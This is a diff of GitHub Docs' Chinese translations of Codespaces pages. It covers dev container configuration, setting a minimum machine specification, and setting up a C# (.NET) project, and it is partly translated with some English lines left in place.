@@ -67,31 +67,28 @@ Reference your Dockerfile in your `devcontainer.json` file by using the `dockerf
 }
 ```
 
-For more information on using a Dockerfile in a dev container, see [Create a development container](https://code.visualstudio.com/docs/remote/create-dev-container#_dockerfile) in the {% data variables.product.prodname_vscode %} documentation. 
+有关在开发容器中使用 Dockerfile 的更多信息，请参阅 {% data variables.product.prodname_vscode %} 文档中的[创建开发容器](https://code.visualstudio.com/docs/remote/create-dev-container#_dockerfile)。
 
-## Using the default configuration
+## 使用默认配置
 
-If you don't define a configuration in your repository, {% data variables.product.prodname_dotcom %} creates a codespace with a base Linux image. The base Linux image includes languages and runtimes like Python, Node.js, JavaScript, TypeScript, C++, Java, .NET, PHP, PowerShell, Go, Ruby, and Rust. It also includes other developer tools and utilities like git, GitHub CLI, yarn, openssh, and vim. To see all the languages, runtimes, and tools that are included use the `devcontainer-info content-url` command inside your codespace terminal and follow the url that the command outputs.
+如果您没有在仓库中定义配置，{% data variables.product.prodname_dotcom %} 将创建一个具有基本 Linux 映像的代码空间。 基本 Linux 映像包括语言和运行时，例如 Python、Node.js、JavaScript、TypeScript、C++、Java、.NET、PHP、PowerShell、Go、Ruby 和 Rust。 它还包括其他开发工具和实用程序，例如 git、GitHub CLI、yarn、openssh 和 vim。 要查看包含的所有语言、运行时和工具，请在代码空间终端内使用 `devcontainer-info content-url` 命令，然后遵循命令输出的 url。
 
-Alternatively, for more information about everything that is included in the base Linux image, see the latest file in the [`microsoft/vscode-dev-containers`](https://github.com/microsoft/vscode-dev-containers/tree/main/containers/codespaces-linux) repository. 
+或者，要详细了解基本 Linux 映像中包含的所有内容，请参阅 [`microsoft/vscode-dev-containers`](https://github.com/microsoft/vscode-dev-containers/tree/main/containers/codespaces-linux) 仓库中的最新文件。
 
-The default configuration is a good option if you're working on a small project that uses the languages and tools that {% data variables.product.prodname_codespaces %} provides.
+如果您要处理使用 {% data variables.product.prodname_codespaces %} 提供的语言和工具的小型项目，默认配置是个不错的选择。
 
 
-## Using a predefined container configuration
+## 使用预定义的容器配置
 
-Predefined container definitions include a common configuration for a particular project type, and can help you quickly get started with a configuration that already has the appropriate container options, {% data variables.product.prodname_vscode %} settings, and {% data variables.product.prodname_vscode %} extensions that should be installed.
+预定义容器定义包括特定项目类型的共同配置，可帮助您利用现有的配置快速开始使用，配置中已经有适当的容器选项、{% data variables.product.prodname_vscode %} 设置和应该安装的 {% data variables.product.prodname_vscode %} 扩展。
 
-Using a predefined configuration is a great idea if you need some additional extensibility. You can also start with a predefined configuration and amend it as needed for your project's setup.
+如果您需要一些额外的扩展性，使用预先定义的配置是一个好主意。 您也可以从预定义的配置开始，然后根据项目的设置对其进行修改。
 
 {% data reusables.codespaces.command-palette-container %}
-1. Click the definition you want to use.
-  ![List of predefined container definitions](/assets/images/help/codespaces/predefined-container-definitions-list.png)
-1. Follow the prompts to customize your definition. For more information on the options to customize your definition, see "[Adding additional features to your `devcontainer.json` file](#adding-additional-features-to-your-devcontainerjson-file)."
-1. Click **OK**.
-  ![OK button](/assets/images/help/codespaces/prebuilt-container-ok-button.png)
-1. To apply the changes, in the bottom right corner of the screen, click **Rebuild now**. For more information about rebuilding your container, see "[Applying changes to your configuration](#applying-changes-to-your-configuration)."
-  !["Codespaces: Rebuild Container" in the {% data variables.product.prodname_vscode_command_palette %}](/assets/images/help/codespaces/rebuild-prompt.png)
+1. 单击要使用的定义。 ![预定义容器定义列表](/assets/images/help/codespaces/predefined-container-definitions-list.png)
+1. 按照提示自定义您的定义。 For more information on the options to customize your definition, see "[Adding additional features to your `devcontainer.json` file](#adding-additional-features-to-your-devcontainerjson-file)."
+1. 单击 **OK（确定）**。 ![确定按钮](/assets/images/help/codespaces/prebuilt-container-ok-button.png)
+1. 要应用更改，请在屏幕右下角单击 **Rebuild now（立即重建）**。 有关重建容器的更多信息，请参阅“[应用对配置的更改](#applying-changes-to-your-configuration)”。 !["Codespaces: Rebuild Container" in the {% data variables.product.prodname_vscode_command_palette %}](/assets/images/help/codespaces/rebuild-prompt.png)
 
 ### Adding additional features to your `devcontainer.json` file
 
@@ -107,29 +104,27 @@ You can add some of the most common features by selecting them when configuring
 
 ![The select additional features menu during container configuration.](/assets/images/help/codespaces/select-additional-features.png)
 
-You can also add or remove features outside of the **Add Development Container Configuration Files** workflow. 
-1. Access the Command Palette (`Shift + Command + P` / `Ctrl + Shift + P`), then start typing "configure". Select **Codespaces: Configure Devcontainer Features**.
-  ![The Configure Devcontainer Features command in the command palette](/assets/images/help/codespaces/codespaces-configure-features.png)
-2. Update your feature selections, then click **OK**.
-  ![The select additional features menu during container configuration.](/assets/images/help/codespaces/select-additional-features.png)
-1. To apply the changes, in the bottom right corner of the screen, click **Rebuild now**. For more information about rebuilding your container, see "[Applying changes to your configuration](#applying-changes-to-your-configuration)."
-  !["Codespaces: Rebuild Container" in the command palette](/assets/images/help/codespaces/rebuild-prompt.png)
+You can also add or remove features outside of the **Add Development Container Configuration Files** workflow.
+1. Access the Command Palette (`Shift + Command + P` / `Ctrl + Shift + P`), then start typing "configure". Select **Codespaces: Configure Devcontainer Features**. ![The Configure Devcontainer Features command in the command palette](/assets/images/help/codespaces/codespaces-configure-features.png)
+2. Update your feature selections, then click **OK**. ![The select additional features menu during container configuration.](/assets/images/help/codespaces/select-additional-features.png)
+1. 要应用更改，请在屏幕右下角单击 **Rebuild now（立即重建）**。 有关重建容器的更多信息，请参阅“[应用对配置的更改](#applying-changes-to-your-configuration)”。 ![命令面板中的"Codespaces：重建容器"](/assets/images/help/codespaces/rebuild-prompt.png)
 
 
-## Creating a custom codespace configuration
+## 创建自定义代码空间配置
 
-If none of the predefined configurations meet your needs, you can create a custom configuration by adding a `devcontainer.json` file. {% data reusables.codespaces.devcontainer-location %}
+如果任何预定义的配置都不能满足您的需要，您可以通过添加 `devcontainer.json` 文件来创建自定义配置。 {% data reusables.codespaces.devcontainer-location %}
 
-In the file, you can use [supported configuration keys](https://code.visualstudio.com/docs/remote/devcontainerjson-reference) to specify aspects of the codespace's environment, like which {% data variables.product.prodname_vscode %} extensions will be installed.
+在该文件中，您可以使用[支持的配置键](https://code.visualstudio.com/docs/remote/devcontainerjson-reference)来指定代码空间环境的各个方面，例如要安装哪些 {% data variables.product.prodname_vscode %} 扩展。
 
 {% data reusables.codespaces.vscode-settings-order %}
 
-You can define default editor settings for {% data variables.product.prodname_vscode %} in two places.
+您可以在两个地方定义 {% data variables.product.prodname_vscode %} 的默认编辑器设置。
 
-* Editor settings defined in `.vscode/settings.json` are applied as _Workspace_-scoped settings in the codespace.
-* Editor settings defined in the `settings` key in `devcontainer.json` are applied as _Remote [Codespaces]_-scoped settings in the codespace.
+* `.vscode/settings.json` 中定义的编辑器设置在代码空间中用作 _Workspace_ 范围的设置。
+* `devcontainer.json` 的 `settings` 键中定义的编辑器设置在代码空间中用作 _Remote [Codespaces]_ 范围的设置。
+
+在更新 `devcontainer.json` 文件后，您可以重建代码空间的容器来应用更改。 更多信息请参阅“[应用对配置的更改](#applying-changes-to-your-configuration)”。
 
-After updating the `devcontainer.json` file, you can rebuild the container for your codespace to apply the changes. For more information, see "[Applying changes to your configuration](#applying-changes-to-your-configuration)."
 
 <!--
 ## Supported codespace configuration keys
@@ -161,13 +156,12 @@ You can use configuration keys supported by {% data variables.product.prodname_c
 For more information about the available settings for `devcontainer.json`, see [devcontainer.json reference](https://aka.ms/vscode-remote/devcontainer.json) in the {% data variables.product.prodname_vscode %} documentation.
 -->
 
-## Applying changes to your configuration
+## 应用对配置的更改
 
 {% data reusables.codespaces.apply-devcontainer-changes %}
 
 {% data reusables.codespaces.rebuild-command %}
-1. {% data reusables.codespaces.recovery-mode %} Fix the errors in the configuration.
-  ![Error message about recovery mode](/assets/images/help/codespaces/recovery-mode-error-message.png)
-   - To diagnose the error by reviewing the creation logs, click **View creation log**.
-   - To fix the errors identified in the logs, update your `devcontainer.json` file.
-   - To apply the changes, rebuild your container. 
+1. {% data reusables.codespaces.recovery-mode %} 修复配置中的错误。 ![有关恢复模式的错误消息](/assets/images/help/codespaces/recovery-mode-error-message.png)
+   - 要通过查看创建日志来诊断错误，请单击 **View creation log（查看创建日志）**。
+   - 要修复日志中发现的错误，请更新您的 `devcontainer.json` 文件。
+   - 要应用更改，请重建容器。 
diff --git a/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/index.md b/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/index.md
index dd4c7f17c2..ec9e1905b6 100644
--- a/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/index.md
+++ b/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/index.md
@@ -1,7 +1,7 @@
 ---
 title: 'Setting up your repository for {% data variables.product.prodname_codespaces %}'
 allowTitleToDifferFromFilename: true
-intro: 'Learn how to get started with {% data variables.product.prodname_codespaces %}, including set up and configuration for specific languages.'
+intro: '了解如何开始使用 {% data variables.product.prodname_codespaces %}，包括特定语言的设置和配置。'
 product: '{% data reusables.gated-features.codespaces %}'
 versions:
   fpt: '*'
@@ -15,5 +15,6 @@ children:
   - /setting-up-your-dotnet-project-for-codespaces
   - /setting-up-your-java-project-for-codespaces
   - /setting-up-your-python-project-for-codespaces
+  - /setting-a-minimum-specification-for-codespace-machines
 ---
 
diff --git a/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines.md b/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines.md
new file mode 100644
index 0000000000..665171defc
--- /dev/null
+++ b/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines.md
@@ -0,0 +1,53 @@
+---
+title: Setting a minimum specification for codespace machines
+shortTitle: Setting a minimum machine spec
+intro: 'You can avoid under-resourced machine types being used for {% data variables.product.prodname_codespaces %} for your repository.'
+permissions: People with write permissions to a repository can create or edit the codespace configuration.
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Codespaces
+  - Set up
+product: '{% data reusables.gated-features.codespaces %}'
+---
+
+## 概览
+
+When you create a codespace for a repository you are typically offered a choice of available machine types. Each machine type has a different level of resources. For more information, see "[Changing the machine type for your codespace](/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace#about-machine-types)."
+
+If your project needs a certain level of compute power, you can configure {% data variables.product.prodname_github_codespaces %} so that only machine types that meet these requirements are available for people to select. You configure this in the `devcontainer.json` file.
+
+{% note %}
+
+**Important:** Access to some machine types may be restricted at the organization level. Typically this is done to prevent people choosing higher resourced machines that are billed at a higher rate. If your repository is affected by an organization-level policy for machine types you should make sure you don't set a minimum specification that would leave no available machine types for people to choose. For more information, see "[Restricting access to machine types](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)."
+
+{% endnote %}
+
+## Setting a minimum machine specification
+
+1. {% data variables.product.prodname_codespaces %} for your repository are configured in the `devcontainer.json` file. If your repository does not already contain a `devcontainer.json` file, add one now. See "[Add a dev container to your project](/free-pro-team@latest/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces)."
+1. Edit the `devcontainer.json` file, adding a `hostRequirements` property such as this:
+
+   ```json{:copy}
+   "hostRequirements": {
+      "cpus": 8,
+      "memory": "8gb",
+      "storage": "32gb" 
+   }
+   ```
+
+   You can specify any or all of the options: `cpus`, `memory`, and `storage`.
+
+   To check the specifications of the {% data variables.product.prodname_codespaces %} machine types that are currently available for your repository, step through the process of creating a codespace until you see the choice of machine types. 更多信息请参阅“[创建代码空间](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)”。
+
+1. Save the file and commit your changes to the required branch of the repository.
+
+   Now when you create a codespace for that branch of the repository you will only be able to select machine types that match or exceed the resources you've specified.
+
+   ![Dialog box showing a limited choice of machine types](/assets/images/help/codespaces/machine-types-limited-choice.png)
+
+## 延伸阅读
+
+- "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project)"
diff --git a/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md b/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md
index 2109d9c551..62fbb55d7a 100644
--- a/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md
+++ b/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md
@@ -3,7 +3,7 @@ title: Setting up your C# (.NET) project for Codespaces
 shortTitle: Setting up your C# (.NET) project
 allowTitleToDifferFromFilename: true
 product: '{% data reusables.gated-features.codespaces %}'
-intro: 'Get started with your C# (.NET) project in {% data variables.product.prodname_codespaces %} by creating a custom dev container.'
+intro: '通过创建自定义开发容器，开始在 {% data variables.product.prodname_codespaces %} 中使用 C# (.NET) 项目。'
 redirect_from:
   - /codespaces/getting-started-with-codespaces/getting-started-with-your-dotnet-project
 versions:
@@ -17,129 +17,125 @@ hidden: true
 
 
 
-## Introduction
+## 简介
 
-This guide shows you how to set up your C# (.NET) project in {% data variables.product.prodname_codespaces %}. It will take you through an example of opening your project in a codespace, and adding and modifying a dev container configuration from a template.
+本指南介绍如何在 {% data variables.product.prodname_codespaces %} 中设置 C# (.NET) 项目。 它将演示在代码空间中打开项目以及从模板添加和修改开发容器配置的示例。
 
-### Prerequisites
+### 基本要求
 
-- You should have an existing C# (.NET) project in a repository on {% data variables.product.prodname_dotcom_the_website %}. If you don't have a project, you can try this tutorial with the following example: https://github.com/2percentsilk/dotnet-quickstart.
-- You must have {% data variables.product.prodname_codespaces %} enabled for your organization.
+- 您应该在 {% data variables.product.prodname_dotcom_the_website %} 的仓库中有现有的 C# (.NET) 项目。 如果您没有项目，可以使用以下示例尝试本教程：https://github.com/2percentsilk/dotnet-quickstart。
+- 您必须为组织启用 {% data variables.product.prodname_codespaces %} 。
 
-## Step 1: Open your project in a codespace
+## 步骤 1：在代码空间中打开项目
 
 1. Under the repository name, use the **{% octicon "code" aria-label="The code icon" %} Code** drop-down menu, and in the **Codespaces** tab, click {% octicon "plus" aria-label="The plus icon" %} **New codespace**.
 
-  ![New codespace button](/assets/images/help/codespaces/new-codespace-button.png)
+  ![新建代码空间按钮](/assets/images/help/codespaces/new-codespace-button.png)
 
   If you don’t see this option, {% data variables.product.prodname_codespaces %} isn't available for your project. See [Access to {% data variables.product.prodname_codespaces %}](/codespaces/developing-in-codespaces/creating-a-codespace#access-to-codespaces) for more information.
 
-When you create a codespace, your project is created on a remote VM that is dedicated to you. By default, the container for your codespace has many languages and runtimes including .NET. It also includes a common set of tools like git, wget, rsync, openssh, and nano.
+创建代码空间时，您的项目是在专用于您的远程 VM 上创建的。 默认情况下，代码空间的容器具有多种语言和运行时，包括 .NET。 它还包括一套常见的工具，例如 git、wget、rsync、openssh 和 nano。
 
-You can customize your codespace by adjusting the amount of vCPUs and RAM, [adding dotfiles to personalize your environment](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account), or by modifying the tools and scripts installed.
+您可以通过调整 vCPU 和 RAM 的数量、[添加 dotfiles 以个性化环境](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account)或者修改安装的工具和脚本来自定义代码空间。
 
-{% data variables.product.prodname_codespaces %} uses a file called `devcontainer.json` to store configurations. On launch {% data variables.product.prodname_codespaces %} uses the file to install any tools, dependencies, or other set up that might be needed for the project. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
+{% data variables.product.prodname_codespaces %} 使用名为 `devcontainer.json` 的文件来存储配置。 在启动时， {% data variables.product.prodname_codespaces %} 使用文件安装项目可能需要的任何工具、依赖项或其他设置。 For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
 
 
-## Step 2: Add a dev container to your codespace from a template
+## 步骤 2：从模板将开发容器添加到您的代码空间
 
-The default codespaces container comes with the latest .NET version and common tools preinstalled. However, we encourage you to set up a custom container so you can tailor the tools and scripts that run as part of codespace creation to your project's needs and ensure a fully reproducible environment for all {% data variables.product.prodname_codespaces %} users in your repository.
+默认代码空间容器附带最新的 .NET 版本和预安装的常用工具。 但是，我们鼓励您设置自定义容器，以便根据项目的需求定制在代码空间创建过程中运行的工具和脚本，并确保为仓库中的所有 {% data variables.product.prodname_codespaces %} 用户提供完全可复制的环境。
 
-To set up your project with a custom container, you will need to use a `devcontainer.json` file to define the environment. In {% data variables.product.prodname_codespaces %} you can add this either from a template or you can create your own. For more information on dev containers, see "[Introduction to dev containers
-](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
+要使用自定义容器设置项目，您需要使用 `devcontainer.json` 文件来定义环境。 在 {% data variables.product.prodname_codespaces %} 中，您可以从模板添加它，也可以自己创建。 For more information on dev containers, see "[Introduction to dev containers ](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
 
 
 {% data reusables.codespaces.command-palette-container %}
-2. For this example, click **C# (.NET)**. If you need additional features you can select any container that’s specific to C# (.NET) or a combination of tools such as C# (.NET) and MS SQL.
-  ![Select C# (.NET) option from the list](/assets/images/help/codespaces/add-dotnet-prebuilt-container.png)
-3. Click the recommended version of .NET.
-  ![.NET version selection](/assets/images/help/codespaces/add-dotnet-version.png)
-4. Accept the default option to add Node.js to your customization.
-  ![Add Node.js selection](/assets/images/help/codespaces/dotnet-options.png)
+2. 对于此示例，单击 **C# (.NET)**。 如果需要其他功能，您可以选择任何特定于 C# (.NET) 或工具（如 C# (.NET) 和 MS SQL）组合的容器。 ![从列表中选择 C# (.NET) 选项](/assets/images/help/codespaces/add-dotnet-prebuilt-container.png)
+3. 单击推荐的 .NET 版本。 ![.NET 版本选择](/assets/images/help/codespaces/add-dotnet-version.png)
+4. 接受默认选项，将 Node.js 添加到您的自定义中。 ![添加 Node.js 选择](/assets/images/help/codespaces/dotnet-options.png)
 {% data reusables.codespaces.rebuild-command %}
 
-### Anatomy of your dev container
+### 开发容器的剖析
 
-Adding the C# (.NET) dev container template adds a `.devcontainer` folder to the root of your project's repository with the following files:
+添加 C# (.NET) 开发容器模板会将 `.devcontainer` 文件夹添加到项目仓库的根目录中，其中包含以下文件：
 
 - `devcontainer.json`
 - Dockerfile
 
-The newly added `devcontainer.json` file defines a few properties that are described after the sample.
+新添加的 `devcontainer.json` 文件定义了几个在样本之后描述的属性。
 
 #### devcontainer.json
 
 ```json
 {
-	"name": "C# (.NET)",
-	"build": {
-		"dockerfile": "Dockerfile",
-		"args": {
-			// Update 'VARIANT' to pick a .NET Core version: 2.1, 3.1, 5.0
-			"VARIANT": "5.0",
-			// Options
-			"INSTALL_NODE": "true",
-			"NODE_VERSION": "lts/*",
-			"INSTALL_AZURE_CLI": "false"
-		}
-	},
+    "name": "C# (.NET)",
+    "build": {
+        "dockerfile": "Dockerfile",
+        "args": {
+            // Update 'VARIANT' to pick a .NET Core version: 2.1, 3.1, 5.0
+            "VARIANT": "5.0",
+            // Options
+            "INSTALL_NODE": "true",
+            "NODE_VERSION": "lts/*",
+            "INSTALL_AZURE_CLI": "false"
+        }
+    },
 
-	// Set *default* container specific settings.json values on container create.
-	"settings": {
-		"terminal.integrated.shell.linux": "/bin/bash"
-	},
+    // Set *default* container specific settings.json values on container create.
+    "settings": {
+        "terminal.integrated.shell.linux": "/bin/bash"
+    },
 
-	// Add the IDs of extensions you want installed when the container is created.
-	"extensions": [
-		"ms-dotnettools.csharp"
-	],
+    // Add the IDs of extensions you want installed when the container is created.
+    "extensions": [
+        "ms-dotnettools.csharp"
+    ],
 
-	// Use 'forwardPorts' to make a list of ports inside the container available locally.
-	// "forwardPorts": [5000, 5001],
+    // Use 'forwardPorts' to make a list of ports inside the container available locally.
+    // "forwardPorts": [5000, 5001],
 
-	// [Optional] To reuse of your local HTTPS dev cert:
-	//
-	// 1. Export it locally using this command:
-	//    * Windows PowerShell:
-	//        dotnet dev-certs https --trust; dotnet dev-certs https -ep "$env:USERPROFILE/.aspnet/https/aspnetapp.pfx" -p "SecurePwdGoesHere"
-	//    * macOS/Linux terminal:
-	//        dotnet dev-certs https --trust; dotnet dev-certs https -ep "${HOME}/.aspnet/https/aspnetapp.pfx" -p "SecurePwdGoesHere"
-	//
-	// 2. Uncomment these 'remoteEnv' lines:
-	//    "remoteEnv": {
-	// 	      "ASPNETCORE_Kestrel__Certificates__Default__Password": "SecurePwdGoesHere",
-	//        "ASPNETCORE_Kestrel__Certificates__Default__Path": "/home/vscode/.aspnet/https/aspnetapp.pfx",
-	//    },
-	//
-	// 3. Do one of the following depending on your scenario:
-	//    * When using GitHub Codespaces and/or Remote - Containers:
-	//      1. Start the container
-	//      2. Drag ~/.aspnet/https/aspnetapp.pfx into the root of the file explorer
-	//      3. Open a terminal in VS Code and run "mkdir -p /home/vscode/.aspnet/https && mv aspnetapp.pfx /home/vscode/.aspnet/https"
-	//
-	//    * If only using Remote - Containers with a local container, uncomment this line instead:
-	//      "mounts": [ "source=${env:HOME}${env:USERPROFILE}/.aspnet/https,target=/home/vscode/.aspnet/https,type=bind" ],
+    // [Optional] To reuse of your local HTTPS dev cert:
+    //
+    // 1. Export it locally using this command:
+    //    * Windows PowerShell:
+    //        dotnet dev-certs https --trust; dotnet dev-certs https -ep "$env:USERPROFILE/.aspnet/https/aspnetapp.pfx" -p "SecurePwdGoesHere"
+    //    * macOS/Linux terminal:
+    //        dotnet dev-certs https --trust; dotnet dev-certs https -ep "${HOME}/.aspnet/https/aspnetapp.pfx" -p "SecurePwdGoesHere"
+    //
+    // 2. Uncomment these 'remoteEnv' lines:
+    //    "remoteEnv": {
+    //        "ASPNETCORE_Kestrel__Certificates__Default__Password": "SecurePwdGoesHere",
+    //        "ASPNETCORE_Kestrel__Certificates__Default__Path": "/home/vscode/.aspnet/https/aspnetapp.pfx",
+    //    },
+    //
+    // 3. Do one of the following depending on your scenario:
+    //    * When using GitHub Codespaces and/or Remote - Containers:
+    //      1. Start the container
+    //      2. Drag ~/.aspnet/https/aspnetapp.pfx into the root of the file explorer
+    //      3. Open a terminal in VS Code and run "mkdir -p /home/vscode/.aspnet/https && mv aspnetapp.pfx /home/vscode/.aspnet/https"
+    //
+    //    * If only using Remote - Containers with a local container, uncomment this line instead:
+    //      "mounts": [ "source=${env:HOME}${env:USERPROFILE}/.aspnet/https,target=/home/vscode/.aspnet/https,type=bind" ],
 
-	// Use 'postCreateCommand' to run commands after the container is created.
-	// "postCreateCommand": "dotnet restore",
+    // Use 'postCreateCommand' to run commands after the container is created.
+    // "postCreateCommand": "dotnet restore",
 
-	// Comment out connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root.
-	"remoteUser": "vscode"
+    // Comment out connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root.
+    "remoteUser": "vscode"
 }
 ```
 
-- **Name** - You can name our dev container anything, this is just the default.
-- **Build** - The build properties.
-  - **Dockerfile** - In the build object, `dockerfile` is a reference to the Dockerfile that was also added from the template.
+- **Name** - 您可以将开发容器命名为任何名称，这只是默认名称。
+- **Build** - 构建属性。
+  - **Dockerfile** - 在构建对象中，`dockerfile` 是对 Dockerfile 的引用，该文件也是从模板中添加的。
   - **Args**
-    - **Variant**: This file only contains one build argument, which is the .NET Core version that we want to use.
-- **Settings** - These are {% data variables.product.prodname_vscode %} settings.
-  - **Terminal.integrated.shell.linux** - While bash is the default here, you could use other terminal shells by modifying this.
-- **Extensions** - These are extensions included by default.
-  - **ms-dotnettools.csharp** - The Microsoft C# extension provides rich support for developing in C#, including features such as IntelliSense, linting, debugging, code navigation, code formatting, refactoring, variable explorer, test explorer, and more.
-- **forwardPorts** - Any ports listed here will be forwarded automatically. For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)."
-- **postCreateCommand** - If you want to run anything after you land in your codespace that’s not defined in the Dockerfile, like `dotnet restore`, you can do that here.
-- **remoteUser** - By default, you’re running as the vscode user, but you can optionally set this to root.
+    - **Variant**：此文件仅包含一个构建参数，即我们要使用的 .NET Core 版本。
+- **Settings** - 它们是 {% data variables.product.prodname_vscode %} 设置。
+  - **Terminal.integrated.shell.linux** - 虽然 bash 是此处的默认设置，但您可以通过修改它来使用其他终端 shell。
+- **Extensions** - 它们是默认包含的扩展名。
+  - **ms-dotnettools.csharp** - Microsoft C# 扩展为使用 C# 的开发提供丰富的支持，包括 IntelliSense、linting、调试、代码导航、代码格式化、重构、变量资源管理器、测试资源管理器等功能。
+- **forwardPorts** - 此处列出的任何端口都将自动转发。 For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)."
+- **postCreateCommand** - 如果您要在进入 Dockerfile 中未定义的代码空间（例如 `dotnet restore`）后执行任何操作，您可以在此处执行。
+- **remoteUser** - 默认情况下，您以 vscode 用户身份运行，但您可以选择将其设置为 root。
 
 #### Dockerfile
 
@@ -167,26 +163,26 @@ RUN if [ "$INSTALL_AZURE_CLI" = "true" ]; then bash /tmp/library-scripts/azcli-d
 # RUN su vscode -c "source /usr/local/share/nvm/nvm.sh && npm install -g <your-package-here>" 2>&1
 ```
 
-You can use the Dockerfile to add additional container layers to specify OS packages, node versions, or global packages we want included in our container.
+您可以使用 Dockerfile 添加其他容器层，以指定要包含在容器中的操作系统包、节点版本或全局包。
 
-## Step 3: Modify your devcontainer.json file
+## 步骤 3：修改 devcontainer.json 文件
 
-With your dev container added and a basic understanding of what everything does, you can now make changes to configure it for your environment. In this example, you'll add properties to install extensions and restore your project dependencies when your codespace launches.
+添加了开发容器并基本了解所有功能之后，您现在可以进行更改以针对您的环境进行配置。 在此示例中，您将在代码空间启动时添加属性以安装扩展和恢复项目依赖项。
 
-1. In the Explorer, expand the `.devcontainer` folder and select the `devcontainer.json` file from the tree to open it.
+1. 在 Explorer 中，展开 `.devcontainer` 文件夹，从树中选择 `devcontainer.json` 文件并打开它。
 
   ![devcontainer.json file in the Explorer](/assets/images/help/codespaces/devcontainers-options.png)
 
-2. Update your the `extensions` list in your `devcontainer.json` file to add a few extensions that are useful when working with your project.
+2. 更新 `devcontainer.json` 文件中的 `extensions` 列表，以添加一些在处理项目时有用的扩展。
 
   ```json{:copy}
   "extensions": [
-		  "ms-dotnettools.csharp",
-		  "streetsidesoftware.code-spell-checker",
-	  ],
+          "ms-dotnettools.csharp",
+          "streetsidesoftware.code-spell-checker",
+      ],
   ```
 
-3. Uncomment the `postCreateCommand` to restore dependencies as part of the codespace setup process.
+3. 取消注释 `postCreateCommand` 以便在代码空间设置过程中恢复依赖项。
 
   ```json{:copy}
   // Use 'postCreateCommand' to run commands after the container is created.
@@ -195,30 +191,30 @@ With your dev container added and a basic understanding of what everything does,
 
 {% data reusables.codespaces.rebuild-command %}
 
-  Rebuilding inside your codespace ensures your changes work as expected before you commit the changes to the repository. If something does result in a failure, you’ll be placed in a codespace with a recovery container that you can rebuild from to keep adjusting your container.
+  在代码空间内进行重建可确保在将更改提交到仓库之前，更改能够按预期工作。 如果某些问题导致了故障，您将进入带有恢复容器的代码空间中，您可以从该容器进行重建以继续调整容器。
 
-5. Check your changes were successfully applied by verifying the "Code Spell Checker" extension was installed.
+5. 通过验证是否安装了 "Code Spell Checker" 扩展，检查更改是否成功应用。
 
-    ![Extensions list](/assets/images/help/codespaces/dotnet-extensions.png)
+    ![扩展列表](/assets/images/help/codespaces/dotnet-extensions.png)
 
-## Step 4: Run your application
+## 步骤 4：运行应用程序
 
-In the previous section, you used the `postCreateCommand` to install a set of packages via the `dotnet restore` command. With our dependencies now installed, we can run our application.
+在上一节中，您使用 `postCreateCommand` 通过 `dotnet restore` 命令安装了一组包。 现在安装了依赖项，我们可以运行应用程序。
 
-1. Run your application by pressing `F5` or entering `dotnet watch run` in your terminal.
+1. 通过按 `F5` 或在终端中输入 `dotnet watch run` 来运行您的应用程序。
 
-2. When your project starts, you should see a toast in the bottom right corner with a prompt to connect to the port your project uses.
+2. 项目启动时，您应该在右下角看到一个信息框，提示您连接到项目使用的端口。
 
-  ![Port forwarding toast](/assets/images/help/codespaces/python-port-forwarding.png)
+  ![端口转发信息框](/assets/images/help/codespaces/python-port-forwarding.png)
 
-## Step 5: Commit your changes
+## 步骤 5：提交更改
 
 {% data reusables.codespaces.committing-link-to-procedure %}
 
-## Next steps
+## 后续步骤
 
-You should now be ready start developing your C# (.NET) project in {% data variables.product.prodname_codespaces %}. Here are some additional resources for more advanced scenarios.
+现在，您应该准备开始在 {% data variables.product.prodname_codespaces %} 中开发您的 C# (.NET) 项目。 以下是用于更高级场景的一些额外资源。
 
-- [Managing encrypted secrets for {% data variables.product.prodname_codespaces %}](/codespaces/working-with-your-codespace/managing-encrypted-secrets-for-codespaces)
-- [Managing GPG verification for {% data variables.product.prodname_codespaces %}](/codespaces/working-with-your-codespace/managing-gpg-verification-for-codespaces)
-- [Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)
+- [管理 {% data variables.product.prodname_codespaces %} 的加密密码](/codespaces/working-with-your-codespace/managing-encrypted-secrets-for-codespaces)
+- [管理 {% data variables.product.prodname_codespaces %} 的 GPG 验证](/codespaces/working-with-your-codespace/managing-gpg-verification-for-codespaces)
+- [代码空间中的转发端口](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)
diff --git a/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md b/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md
index 22140d67f0..013675affa 100644
